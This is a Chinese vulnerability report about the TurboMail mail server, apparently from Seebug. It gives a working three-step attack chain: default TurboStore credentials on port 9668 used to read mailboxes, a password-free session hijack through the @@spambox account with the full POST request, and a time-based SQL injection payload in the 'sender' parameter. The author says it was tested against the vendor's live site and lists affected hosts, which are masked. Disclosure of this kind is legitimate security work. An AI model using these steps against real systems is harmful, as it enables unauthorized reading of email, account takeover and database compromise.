TurboMail 设计缺陷以及默认配置导致的邮件信息泄露/权限逃脱/SQL注射

2016-02-17T00:00:00
ID SSV:95646
Type seebug
Reporter Root
Modified 2016-02-17T00:00:00

Description

简要描述:

三连击,官网中招。

详细说明:

TurboMail在安装完毕之后会有多个应用打开端口监听数据,其中有一个叫做TurboStore是用于存储邮件信息的的核心组件。

<img src="https://images.seebug.org/upload/201602/16232217ffc3e353b1ecc1d5ebef9844852d30a5.png" alt="1.png" width="600" onerror="javascript:errimg(this);">

TurboStore打开的端口是9668

<img src="https://images.seebug.org/upload/201602/1623252876f0c9f04e2913a7927fd1d7d1048e74.png" alt="2.png" width="600" onerror="javascript:errimg(this);">

在/conf/server.xml中的配置如下:

&lt;TSSERVER&gt; &lt;TSSERVER_ENABLE&gt;TRUE&lt;/TSSERVER_ENABLE&gt; &lt;TSSERVER_LISTEN_SIZE&gt;15&lt;/TSSERVER_LISTEN_SIZE&gt; &lt;TSSERVER_SESSION_TIMEOUT&gt;30&lt;/TSSERVER_SESSION_TIMEOUT&gt; &lt;TSSERVER_MAX_THREADS&gt;30&lt;/TSSERVER_MAX_THREADS&gt; &lt;TSSERVER_TIMEOUT&gt;60&lt;/TSSERVER_TIMEOUT&gt; &lt;TSSERVER_USERNAME&gt;admin&lt;/TSSERVER_USERNAME&gt; &lt;TSSERVER_PASSWORD&gt;YWRtaW4zMjE=3D&lt;/TSSERVER_PASSWORD&gt; &lt;TSSERVER_GTS_PATH&gt;&lt;/TSSERVER_GTS_PATH&gt; &lt;TSSERVER_ALLOW_IP&gt;&lt;/TSSERVER_ALLOW_IP&gt; &lt;TSSERVER_LISTENERS&gt; &lt;LISTENER&gt; &lt;IP&gt;all&lt;/IP&gt; &lt;PORT&gt;9668&lt;/PORT&gt; &lt;SSL&gt;FALSE&lt;/SSL&gt; &lt;/LISTENER&gt; &lt;/TSSERVER_LISTENERS&gt; &lt;/TSSERVER&gt;

从上面可以看到TurboStore需要登录,而用户名密码默认分别为admin/admin321,使用telnet登录如下:

telnet **.**.**.** 9668 login admin admin321 quit

<img src="https://images.seebug.org/upload/201602/1623370888358402c4c4350ba6fcc8dcfd490b9d.png" alt="3.png" width="600" onerror="javascript:errimg(this);">

经过以上可以看出TurboStore是未限定IP登录的,测试官方同样能够成功登录:

telnet **.**.**.** 9668 login admin admin321 quit

<img src="https://images.seebug.org/upload/201602/1623453569132c1be8b7c5a23bcd4522096fa1f9.png" alt="4.png" width="600" onerror="javascript:errimg(this);">

TurboStore的通信数据结构,类似如下:

json cmd :{"cmd":"getfoldersinfo","param":{"folderlist":["del","draft","exception","new","send","spam","virus"],"useraccount":"test@root"},"login_password":"admin321","login_user":"admin"}

系统中有完整的通信实现代码如下:

/* */ public static String getnextmsgid(String username, String domain, String mbtype, String msgid, boolean bUp, int iSortType, int iNew) /* */ throws Exception /* */ { /* 303 */ if (mbtype != null) { /* 304 */ if (mbtype.equals("virusbox")) { /* 305 */ username = "@@virusbox"; /* 306 */ domain = null; /* 307 */ mbtype = "new"; /* 308 */ } else if (mbtype.equals("spambox")) { /* 309 */ username = "@@spambox"; /* 310 */ domain = null; /* 311 */ mbtype = "new"; /* */ } /* */ } /* */ /* 315 */ Session ses = m_SessionManager.getSession(); /* */ /* 317 */ if (ses == null) { /* 318 */ if (m_log != null) /* 319 */ m_log.log("0", 1, 30721, /* 320 */ "fail to get TurboStore JSONSession(" + /* 321 */ m_SessionManager.getDesc() + ")"); /* 322 */ return null; /* */ } /* */ /* 325 */ IntObj ioRet = new IntObj(); /* */ /* 327 */ JSONObject jsonRet = null; /* */ try /* */ { /* 330 */ JSONObject jsonParam = new JSONObject(); /* */ /* 332 */ if (domain == null) /* 333 */ jsonParam.put("useraccount", username); /* */ else /* 335 */ jsonParam.put("useraccount", username + "@" + domain); /* 336 */ if (mbtype != null) /* 337 */ jsonParam.put("mbtype", mbtype); /* 338 */ if (msgid != null) { /* 339 */ jsonParam.put("msgid", msgid); /* */ } /* 341 */ jsonParam.put("up", bUp ? 1 : 0); /* 342 */ jsonParam.put("sorttype", iSortType); /* */ /* 344 */ jsonParam.put("new", iNew); /* */ /* 346 */ jsonRet = CmdJson.execute(ses, "getnextmsgid", jsonParam, ioRet); /* */ } catch (Exception e) { /* 348 */ e.printStackTrace(); /* */ } /* */ /* 351 */ m_SessionManager.returnSession(ses); /* */ /* 353 */ if (jsonRet == null) { /* 354 */ return null; /* */ } /* 356 */ int iRetCode = jsonRet.getInt("retcode"); /* 357 */ if (iRetCode != 0) { /* 358 */ return null; /* */ } /* 360 */ String strNextMsgid = null; /* */ /* 362 */ if (jsonRet.has("msgid")) { /* 363 */ strNextMsgid = jsonRet.getString("msgid"); /* */ } /* 365 */ return strNextMsgid; /* */ }

其中的jsonRet = CmdJson.execute(ses, "getnextmsgid", jsonParam, ioRet);中的getnextmsgid就是cmd,系统中大概有这么几个cmd:

getmsg getnextmsgid getmsglist getmsgnum addmsg settag delmsg delfoldermsg

每个cmd对应不同的参数,下面以官网(http://...:8080/)为例获取其中的tech@...邮箱的收件信息,部分利用代码如下:

m_SessionManager = new SessionManager("**.**.**.**", 9668, 30, "admin", "admin321", 20, null); jsonParam.put("useraccount","tech@**.**.**.**"); jsonParam.put("mbtype", "new"); jsonParam.put("items", 50); jsonRet = CmdJson.execute(ses, action, jsonParam, ioRet); String strRet = jsonRet.toString(); out.println(strRet);

把测试文件放到本地搭建的TurboMail服务器的根目录然后访问,得到前50个邮件:

<img src="https://images.seebug.org/upload/201602/17000821e5dfbd5391f828bde66796ad02a7427b.png" alt="5.png" width="600" onerror="javascript:errimg(this);">

通过addmsg以及delmsg还可以添加删除邮件,危害较大这里就不演示了。 下面来来分析如何获取webmail权限,TurboMail是基于sessionid来进行权限验证,登录后分配一个sessionid作为验证凭证,类似于这样:

http://**.**.**.**:8080/tmw/7/next/loading.jsp?sessionid=2cedc64He_0 http://**.**.**.**:8080/tmw/7/mailmain?flag=-1&intertype=ajax&type=getmaillist&sessionid=2cedc64He_0&mbtype=spam&onlynew=false&start=0&limit=50&where=false

因此主要目标是获取这个sessionid,来看下面的代码,在入口程序MailMain.java中引用了ShowMsg.showAbstract(request, response):

else if (type.equals("showmsgabstract")) { ShowMsg.showAbstract(request, response);

ShowMsg.showAbstract(request, response)主要代码如下:

/* */ public static void showAbstract(HttpServletRequest request, HttpServletResponse response) /* */ throws ServletException, IOException /* */ { /* 669 */ showAbstract(false, request, response); /* */ } /* */ /* */ public static void showAbstract(boolean bAjax, HttpServletRequest request, HttpServletResponse response) /* */ throws ServletException, IOException /* */ { /* 685 */ String receiveaccount = request.getParameter("receiveaccount"); …… /* */ /* 697 */ MailSession ms = null; /* */ /* 699 */ if (ServerConf.b_SYS_GATEWAY_MODE) { /* 700 */ ms = MailSession.getGwuserSession(receiveaccount); /* */ } /* 702 */ else if (receiveaccount.equals("@@spambox")) /* 703 */ ms = MailSession.getGwuserSession("spambox", "root"); /* */ else { /* 705 */ ms = MailSession.makeSimpleSession(receiveaccount); /* */ } /* */ /* 709 */ if (ms == null) { /* 710 */ if (bAjax) /* 711 */ AjaxUtil.ajaxFail(request, response, "info.rcpterror", null); /* */ else /* 713 */ XInfo.gotoInfo(null, request, response, "info.rcpterror", null, /* 714 */ 0); /* 715 */ return; /* */ } /* */ …… /* */ /* 757 */ String mbid = request.getParameter("mbid"); /* 758 */ if (mbid == null) { /* 759 */ mbid = "0"; /* */ } /* */ /* 762 */ String strNext = request.getParameter("next"); /* */ /* 764 */ if (strNext == null) { /* 765 */ strNext = ""; /* */ } /* */ /* 768 */ String mbtype = request.getParameter("mbtype"); /* 769 */ if (mbtype == null) { /* 770 */ mbtype = "new"; /* */ } /* 772 */ if (!Util.dirSafe(mbtype)) { /* 773 */ if (bAjax) /* 774 */ AjaxUtil.ajaxFail(request, response, "info.securitycheck", null); /* */ else /* 776 */ XInfo.gotoInfo(ms, request, response, "info.securitycheck", /* 777 */ null, 0); /* 778 */ return; /* */ } /* */ …… /* 792 */ String strMsgid = request.getParameter("msgid"); /* 793 */ if (strMsgid == null) { /* 794 */ strMsgid = "0"; /* */ } /* 796 */ strMsgid = Util.formatRequest(strMsgid, MailMain.s_os, /* 797 */ SysConts.New_InCharSet); /* */ /* 799 */ if (!Util.dirSafe(strMsgid)) { /* 800 */ if (bAjax) /* 801 */ AjaxUtil.ajaxFail(request, response, "info.securitycheck", null); /* */ else /* 803 */ XInfo.gotoInfo(ms, request, response, "info.securitycheck", /* 804 */ null, 0); /* 805 */ return; /* */ } /* */ / /* 816 */ String useraccount = request.getParameter("useraccount"); /* */ /* 818 */ String spamUserName = Util.getUsername(ServerConf.AS_SPAMBOX); /* 819 */ String spamDomain = Util.getDomain(ServerConf.AS_SPAMBOX); /* 820 */ if ((spamUserName.equals("")) || (spamDomain.equals(""))) /* */ { /* 822 */ if (bAjax) /* 823 */ AjaxUtil.ajaxFail(request, response, "info.isemailexist", null); /* */ else { /* 825 */ XInfo.gotoInfo(ms, request, response, "info.isemailexist", /* 826 */ null, 0); /* */ } /* 828 */ ms.logoutAndRemove(); /* 829 */ return; /* */ } /* */ /* 832 */ UserInfo abstractUserInfo = UserInfo.getSimpleUserInfo(spamUserName, /* 833 */ spamDomain); /* */ /* 851 */ if (!bAjax) { /* */ /* 869 */ String strMailFolderPath = null; /* 880 */ strMailFolderPath = /* 881 */ UserAccount.getSuitUserPath(spamUserName, /* 881 */ spamDomain) + /* 882 */ SysConts.FILE_SEPARATOR + /* 883 */ "spambox" + /* 884 */ SysConts.FILE_SEPARATOR + strMsgid; /* */ /* 886 */ File flMsg = new File(strMailFolderPath); /* */ /* 888 */ if ((!flMsg.exists()) && /* 889 */ (!TBoxFile.isTboxFile(strMailFolderPath))) { /* 890 */ if (bAjax) /* 891 */ AjaxUtil.ajaxFail(request, response, "info.isemailexist", null); /* */ else /* 893 */ XInfo.gotoInfo(ms, request, response, "info.isemailexist", /* 894 */ null, 0); /* 895 */ ms.logoutAndRemove(); /* 896 */ return; /* */ } /* */ …… /* */ /* 948 */ RequestDispatcher rd = null; /* */ …… /* */ /* 981 */ String url = null; /* */ /* 990 */ url = "enterprise/msgabstractheader.jsp?sessionid=" + /* 991 */ ms.session_id + "&username=" + ms.userinfo.getUid() + /* 992 */ "&domain=" + ms.userinfo.domain + "&msgid=" + /* 993 */ strMsgid + "&receiveaccount=" + receiveaccount; /* */ /* 996 */ rd = request.getRequestDispatcher(url); /* */ } /* */ /* 999 */ String tagsymbol = request.getParameter("tagsymbol"); /* 1000 */ request.setAttribute("tagsymbol", tagsymbol); /* 1001 */ if (!bAjax) /* 1002 */ rd.forward(request, response); /* */ }

程序首先通过request.getParameter("receiveaccount")获取到receiveaccount的值,如果这个值为@@spambox则调用ms = MailSession.getGwuserSession("spambox", "root");产生一个mailsession ms。注意这里没有验证密码就直接得到ms! 然后获取String strMsgid = request.getParameter("msgid"),这个strMsgid经过过滤进入到以下流程中:

strMailFolderPath = /* 881 */ UserAccount.getSuitUserPath(spamUserName, /* 881 */ spamDomain) + /* 882 */ SysConts.FILE_SEPARATOR + /* 883 */ "spambox" + /* 884 */ SysConts.FILE_SEPARATOR + strMsgid; /* */ /* 886 */ File flMsg = new File(strMailFolderPath); /* */ /* 888 */ if ((!flMsg.exists()) && /* 889 */ (!TBoxFile.isTboxFile(strMailFolderPath))) { /* 890 */ if (bAjax) /* 891 */ AjaxUtil.ajaxFail(request, response, "info.isemailexist", null); /* */ else /* 893 */ XInfo.gotoInfo(ms, request, response, "info.isemailexist", /* 894 */ null, 0); /* 895 */ ms.logoutAndRemove(); /* 896 */ return; /* */ }

由strMsgid组合而成的路径strMailFolderPath,如果strMailFolderPath这个文件不存在的话则程序退出。来看看这个strMailFolderPath文件是啥样子的:

<img src="https://images.seebug.org/upload/201602/1700440903f148879f104f0148d878ced47b1e0a.png" alt="6.png" width="600" onerror="javascript:errimg(this);">

152E9491193.tbdata是一个时间戳数字经过16进制转换而成的文件名,这个文件名如果要枚举的话次数在百亿以上显然是不现实的,看下面的代码:

/* 843 */ strMsgid = MessageAdmin.getNextMsgId(ms, /* 844 */ abstractUserInfo.domain, abstractUserInfo.getUid(), /* 845 */ mbtype, strMsgid, 0, false, bOnlyNew);

MessageAdmin.getNextMsgId()是从TurboStore中查询数据,那么strMsgid很有可能是存储在TurboStore中,于是查询@@spambox用户得到strMsgid:

m_SessionManager = new SessionManager("**.**.**.**", 9668, 30, "admin", "admin321", 20, null); jsonParam.put("useraccount","@@spambox"); jsonParam.put("mbtype", "spam"); jsonParam.put("items", 50); jsonRet = CmdJson.execute(ses, action, jsonParam, ioRet); String strRet = jsonRet.toString(); out.println(strRet);

<img src="https://images.seebug.org/upload/201602/1701071183beec3211636960510e9b35bab39fde.png" alt="7.png" width="600" onerror="javascript:errimg(this);">

152E9491193_tb_5059_10313 152E9491193_tb_3344_5041

在这里将msgid赋值为152E9491193_tb_3344_5041则顺利通过,到最后ms.session_id(也就是Sessionid)作为参数使用rd.forward重定向到msgabstractheader.jsp,如下:

/* 990 */ url = "enterprise/msgabstractheader.jsp?sessionid=" + /* 991 */ ms.session_id + "&username=" + ms.userinfo.getUid() + /* 992 */ "&domain=" + ms.userinfo.domain + "&msgid=" + /* 993 */ strMsgid + "&receiveaccount=" + receiveaccount; /* */ /* 996 */ rd = request.getRequestDispatcher(url); /* */ } /* */ /* 999 */ String tagsymbol = request.getParameter("tagsymbol"); /* 1000 */ request.setAttribute("tagsymbol", tagsymbol); /* 1001 */ if (!bAjax) /* 1002 */ rd.forward(request, response);

而msgabstractheader.jsp也把sessionid做为参数传走:

String sessionid= ms.session_id; String url = "sessionid=" + sessionid + "&mbtype=" + mbtype + "&msgid=" + strMsgid + "&useraccount=" + useraccount + "&receiveaccount=" + receiveaccount; &lt;td height="24" colspan="4" align="left" bgcolor="#FFFFFF"&gt;&lt;iframe src="mailmain?type=msgabstractcontent&&lt;%=url%&gt;" id="test" width="100%" height="450" scrolling="auto" frameborder="0"&gt; &lt;/iframe&gt;

整个获取sessionid的POST数据包如下:

POST /mailmain HTTP/1.1 Host: **.**.**.**:8080 User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://gw2.**.**.**.**:8080/mailmain?type=inputpwd&mbid=0&msgid=1455474084001_31861_tm&lang=SIMPLIFIED_CHINESE&mbtype=spam&useraccount=qqqq&receiveaccount=@@spambox Cookie: tm_last_login_uid=postmaster; tm_last_login_domain=root; safelogin=true; JSESSIONID=E576B03397408FD15BC19BEDD580EDF9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 128 type=showmsgabstract&receiveaccount=%40%40spambox&useraccount=%40%40spambox&msgid=152E9491193_tb_18_1611&lang=SIMPLIFIED_CHINESE

然后在返回中找到sessionid:

<img src="https://images.seebug.org/upload/201602/170124124c881a6d4be12aef41f500e4a183eddf.png" alt="8.png" width="600" onerror="javascript:errimg(this);">

这个Sessionid可用于登录验证(有时效性),能够访问webmail的大多数应用:

http://**.**.**.**:8080/mailmain?intertype=ajax&sessionid=3481b15H27_0.g&type=getListAddressList&addressid=test http://**.**.**.**:8080/mailmain?intertype=ajax&sessionid=54878a0H379_0.g&type=getListAddressList&addressid=test http://**.**.**.**:8080/mailmain?type=getUserList&department=&domain=root&intertype=ajax&key=&searchfield=&searchvalue=&sessionid=54878a0H379_0.g

<img src="https://images.seebug.org/upload/201602/1701315987ce4f5a851848e5e31bfc48ccb0acbd.png" alt="9.png" width="600" onerror="javascript:errimg(this);">

获取到权限之后就可以进行SQL注射了在入口程序AjaxMain.java中调用方法:

/* 810 */ else if ("sumsendfailmsgstat".equals(type)) /* 811 */ StatisticAdmin.sendFailMailStatistics(request, response);

StatisticAdmin.sendFailMailStatistics()定义如下:

public static void sendFailMailStatistics(HttpServletRequest request, HttpServletResponse response) /* */ throws ServletException, IOException /* */ { /* 451 */ MailSession ms = WebUtil.getms(request, response); /* 452 */ if (ms == null) { /* 453 */ AjaxUtil.ajaxFail(request, response, "info.nologin", null); /* 454 */ return; /* */ } /* */ /* 457 */ UserInfo userinfo = ms.userinfo; /* 458 */ if (userinfo == null) { /* 459 */ AjaxUtil.ajaxFail(request, response, "info.loginfail", null); /* 460 */ return; /* */ } String sender = WebUtil.getParameter(request, true, "sender"); if (bFuzzy) { /* 503 */ if (!StringUtils.isEmpty(sender)) /* 504 */ querySql = querySql + " and f_from like '%" + sender + "%' "; /* 505 */ if (!StringUtils.isEmpty(receiver)) /* 506 */ querySql = querySql + "and f_to like '%" + receiver + "%'"; /* */ } else { /* 508 */ if (!StringUtils.isEmpty(sender)) /* 509 */ querySql = querySql + " and f_from = '" + sender + "' "; /* 510 */ if (!StringUtils.isEmpty(receiver)) /* 511 */ querySql = querySql + "and f_to = '" + receiver + "'"; /* */ } /* 513 */ String countSql = "select count(1) from (" + tableName + ") t where " + querySql; /* 530 */ conn = StatisticsDB.getConnection(); /* 531 */ ps = conn.prepareStatement(countSql); /* 532 */ rs = ps.executeQuery();

程序获取sender的值直接拼接进入SQL查询导致了SQL注射发生:

http://**.**.**.**:8080/mailmain?type=sumsendfailmsgstat&intertype=ajax&sessionid=585d6f6H37a_0.g&sender=-1%27union%20all%20select%20sleep%285%29%23&startDate=20160216&endDate=20160216

通过SQL注射能够GETSHELL,读取文件等操作之前写过了这里就不再赘述。 列一些受影响的域名/ip:

**.**.**.** gw1.**.**.**.** gw2.**.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.**

漏洞证明:

同上